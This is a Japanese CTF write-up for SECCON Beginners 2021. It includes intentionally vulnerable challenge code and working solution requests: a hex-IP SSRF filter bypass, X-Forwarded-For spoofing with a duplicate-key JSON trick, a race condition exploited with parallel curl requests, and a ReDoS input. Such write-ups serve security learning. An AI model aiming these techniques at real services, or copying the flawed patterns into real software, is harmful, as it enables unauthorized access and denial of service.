SECCON Beginners CTF 2021 writeup
@hyper0dietterさんに誘われてSECCON Beginners CTF 2021に参加してきました。 チームの最終順位は1033点で157位です。一時は80位になって二人で興奮してました。
自分は主にWebやってました。最後のmagicはあんまり時間もなくて通せずじまい。 @hyper0dietterさんはcryptoでなんがすごい数学使っててすごかった(小並)。
Web
check_url
URLをPOSTするとそこにcurlしてくれるアプリ。
<!-- HTML Template --> <?php error_reporting(0); if ($_SERVER["REMOTE_ADDR"] === "127.0.0.1"){ echo "Hi, Admin or SSSSRFer<br>"; echo "********************FLAG********************"; }else{ echo "Here, take this<br>"; $url = $_GET["url"]; if ($url !== "https://www.example.com"){ $url = preg_replace("/[^a-zA-Z0-9\/:]+/u", "👻", $url); //Super sanitizing } if(stripos($url,"localhost") !== false || stripos($url,"apache") !== false){ die("do not hack me!"); } echo "URL: ".$url."<br>"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT_MS, 2000); curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS); echo "<iframe srcdoc='"; curl_exec($ch); echo "' width='750' height='500'></iframe>"; curl_close($ch); } ?> <!-- HTML Template -->
localhostにcurlさせられれば良いですね、しかし単純にlocalhost指定すると弾かれてしまいます。curl 127.0.0.1
は正規表現の置換により .
が置換されてしまいます。最初は :
が置換除外されているのもありipv6で指定すれば良いのかと思いましたが、curlにipv6アドレスそのまま渡すにはcurl [0:0:0:0:0:ffff:7f00:0001]
のようにアドレスをくくる必要があるらしく、[
が置換されてしまい駄目でした。
最終的にipv4アドレスを.
無しにすれば良いと気づいて16進数にしたら通りました。0x7F000001
をフォームからPOSTすればOK。
json
社内ネットワークからしか情報閲覧できない(らしい)社内アプリケーション。 bffアプリとapiアプリで別れてます。nginxに直接つながっているのはbffのみ。
// bff/main.go package main import ( "bytes" "encoding/json" "io/ioutil" "net" "net/http" "github.com/gin-gonic/gin" ) type Info struct { ID int `json:"id" binding:"required"` } // check if the accessed user is in the local network (192.168.111.0/24) func checkLocal() gin.HandlerFunc { return func(c *gin.Context) { clientIP := c.ClientIP() ip := net.ParseIP(clientIP).To4() if ip[0] != byte(192) || ip[1] != byte(168) || ip[2] != byte(111) { c.HTML(200, "error.tmpl", gin.H{ "ip": clientIP, }) c.Abort() return } } } func main() { r := gin.Default() r.Use(checkLocal()) r.LoadHTMLGlob("templates/*") r.GET("/", func(c *gin.Context) { c.HTML(200, "index.html", nil) }) r.POST("/", func(c *gin.Context) { // get request body body, err := ioutil.ReadAll(c.Request.Body) if err != nil { c.JSON(400, gin.H{"error": "Failed to read body."}) return } // parse json var info Info if err := json.Unmarshal(body, &info); err != nil { c.JSON(400, gin.H{"error": "Invalid parameter."}) return } // validation if info.ID < 0 || info.ID > 2 { c.JSON(400, gin.H{"error": "ID must be an integer between 0 and 2."}) return } if info.ID == 2 { c.JSON(400, gin.H{"error": "It is forbidden to retrieve Flag from this BFF server."}) return } // get data from api server req, err := http.NewRequest("POST", "http://api:8000", bytes.NewReader(body)) if err != nil { c.JSON(400, gin.H{"error": "Failed to request API."}) return } req.Header.Set("Content-Type", "application/json") client := new(http.Client) resp, err := client.Do(req) if err != nil { c.JSON(400, gin.H{"error": "Failed to request API."}) return } defer resp.Body.Close() result, err := ioutil.ReadAll(resp.Body) if err != nil { c.JSON(400, gin.H{"error": "Failed to request API."}) return } c.JSON(200, gin.H{"result": string(result)}) }) if err := r.Run(":8080"); err != nil { panic("server is not started") } }
// api/main.go package main import ( "io/ioutil" "os" "github.com/buger/jsonparser" "github.com/gin-gonic/gin" ) func main() { r := gin.Default() r.POST("/", func(c *gin.Context) { body, err := ioutil.ReadAll(c.Request.Body) if err != nil { c.String(400, "Failed to read body") return } id, err := jsonparser.GetInt(body, "id") if err != nil { c.String(400, "Failed to parse json") return } if id == 0 { c.String(200, "The quick brown fox jumps over the lazy dog.") return } if id == 1 { c.String(200, "Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.") return } if id == 2 { // Flag!!! flag := os.Getenv("FLAG") c.String(200, flag) return } c.String(400, "No data") }) if err := r.Run(":8000"); err != nil { panic("server is not started") } }
この問題は2つ関門があります。
1つ目はbff/main.goのcheckLocal()
の突破です。nginxの設定ファイルを見てみます。
server { listen 80; listen [::]:80; server_name localhost; location / { proxy_pass http://bff:8080; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; } error_page 500 502 503 504 /50x.html; location = /50x.html { root /usr/share/nginx/html; } }
$proxy_add_x_forwarded_forをそのまま渡してるのでX-Forwarded-Forの改ざんは容易です。リクエストヘッダでX-Forwarded-ForをいじればOK。
2つ目はbffでのjsonチェックの回避です。
{ "id": 2 }
をapiサーバーに送信したいのですが、bffのチェックに弾かれてしまいます。
bffとapiのjsonのパースの仕方が違うことに着目して、試しに{"id": 2, "id": 0}
を渡したらbffのinfo構造体には0がマッピングされて、apiのjsonparser.GetInt(body, "id")
では2を渡せたのでこれで解けました。
curl -k 'https://json.quals.beginners.seccon.jp/' \ -X POST \ -H 'X-Forwarded-For:192.168.111.0' \ -d '{"id": 2, "id": 0}'
cant_use_db
DBではなくファイルシステムに直接writeして情報を永続化してるアプリ。
import os import re import time import random import shutil import secrets import datetime from flask import Flask, render_template, session, redirect app = Flask(__name__) app.secret_key = secrets.token_bytes(256) def init_userdata(user_id): try: os.makedirs(f"./users/{user_id}", exist_ok=True) open(f"./users/{user_id}/balance.txt", "w").write("20000") open(f"./users/{user_id}/noodles.txt", "w").write("0") open(f"./users/{user_id}/soup.txt", "w").write("0") return True except: return False def get_userdata(user_id): try: balance = open(f"./users/{user_id}/balance.txt").read() noodles = open(f"./users/{user_id}/noodles.txt").read() soup = open(f"./users/{user_id}/soup.txt").read() return [int(i) for i in [balance, noodles, soup]] except: return [0] * 3 @app.route("/") def top_page(): user_id = session.get("user") if not user_id: dirnames = datetime.datetime.now() user_id = f"{dirnames.hour}{dirnames.minute}/" + secrets.token_urlsafe(30) if not init_userdata(user_id): return redirect("/") session["user"] = user_id userdata = get_userdata(user_id) info = { "user_id": re.sub("^[0-9]*?/", "", user_id), "balance": userdata[0], "noodles": userdata[1], "soup": userdata[2] } return render_template("index.html", info = info) @app.route("/buy_noodles", methods=["POST"]) def buy_noodles(): user_id = session.get("user") if not user_id: return redirect("/") balance, noodles, soup = get_userdata(user_id) if balance >= 10000: noodles += 1 open(f"./users/{user_id}/noodles.txt", "w").write(str(noodles)) time.sleep(random.uniform(-0.2, 0.2) + 1.0) balance -= 10000 open(f"./users/{user_id}/balance.txt", "w").write(str(balance)) return "💸$10000" return "ERROR: INSUFFICIENT FUNDS" @app.route("/buy_soup", methods=["POST"]) def buy_soup(): user_id = session.get("user") if not user_id: return redirect("/") balance, noodles, soup = get_userdata(user_id) if balance >= 20000: soup += 1 open(f"./users/{user_id}/soup.txt", "w").write(str(soup)) time.sleep(random.uniform(-0.2, 0.2) + 1.0) balance -= 20000 open(f"./users/{user_id}/balance.txt", "w").write(str(balance)) return "💸💸$20000" return "ERROR: INSUFFICIENT FUNDS" @app.route("/eat") def eat(): user_id = session.get("user") if not user_id: return redirect("/") balance, noodles, soup = get_userdata(user_id) shutil.rmtree(f"./users/{user_id}/") session["user"] = None if (noodles >= 2) and (soup >= 1): return os.getenv("CTF4B_FLAG") if (noodles >= 2): return "The noodles seem to get stuck in my throat." if (soup >= 1): return "This is soup, not ramen." return "Please make ramen." if __name__ == "__main__": app.run()
セッションごとに所持金20000円で40000円分の買い物をしてねという問題。当然普通に順番にPOSTしても解けないです。
着眼点は明らかに怪しいtime.sleep(random.uniform(-0.2, 0.2) + 1.0)
です。
買い物処理中に別の買い物プロセスを発火させれば他のプロセスがbalanceを書き換える前にbalanceチェックを突破することができます。
セッションだけセットして非同期でcurl。
curl -k 'https://cant-use-db.quals.beginners.seccon.jp/buy_soup' \ -X 'POST' \ -H 'cookie: session=SESSION' & curl -k 'https://cant-use-db.quals.beginners.seccon.jp/buy_noodles' \ -X 'POST' \ -H 'cookie: session=SESSION' & curl -k 'https://cant-use-db.quals.beginners.seccon.jp/buy_noodles' \ -X 'POST' \ -H 'cookie: session=SESSION'
この後同じセッションつかって/eatをGETすればOK。
misc
Mail_Address_Validator
#!/usr/bin/env ruby require 'timeout' $stdout.sync = true $stdin.sync = true pattern = /\A([\w+\-].?)+@[a-z\d\-]+(\.[a-z]+)*\.[a-z]+\z/i begin Timeout.timeout(60) { Process.wait Process.fork { puts "I check your mail address." puts "please puts your mail address." input = gets.chomp begin Timeout.timeout(5) { if input =~ pattern puts "Valid mail address!" else puts "Invalid mail address!" end } rescue Timeout::Error exit(status=14) end } case Process.last_status.to_i >> 8 when 0 then puts "bye." when 1 then puts "bye." when 14 then File.open("flag.txt", "r") do |f| puts f.read end else puts "What's happen?" end } rescue Timeout::Error puts "bye." end
いわゆるRedosの問題。メールアドレスに対する正規表現のチェックに負荷をかけろというもの。一応60秒の制限もありクソデカ文字列では突破できません。
この問題については銀座Railsで全く同じ話を聞いたことがあったのでその方の素晴らしい資料を貼っておきます。
~ nc mail-address-validator.quals.beginners.seccon.jp 5100 I check your mail address. please puts your mail address. username@host.abcde.abcde.abcde.abcde.abcde.abcde.abcde.abcde.abcde.
でOK
感想
webの最初の問題が時事ネタで笑いました。事件を聞いて作成したのか元々この問題だったのかはわかりません。
CTFのwebを解いているといつも感じることですが、典型的なものも多いし明らかにヤバいコードの実例がわかるので、Web系企業の研修に最適だと思います。自分もX-Forwarded-Forはこの問題で初めて知りました。
運営の皆様ありがとうございました。楽しかったです。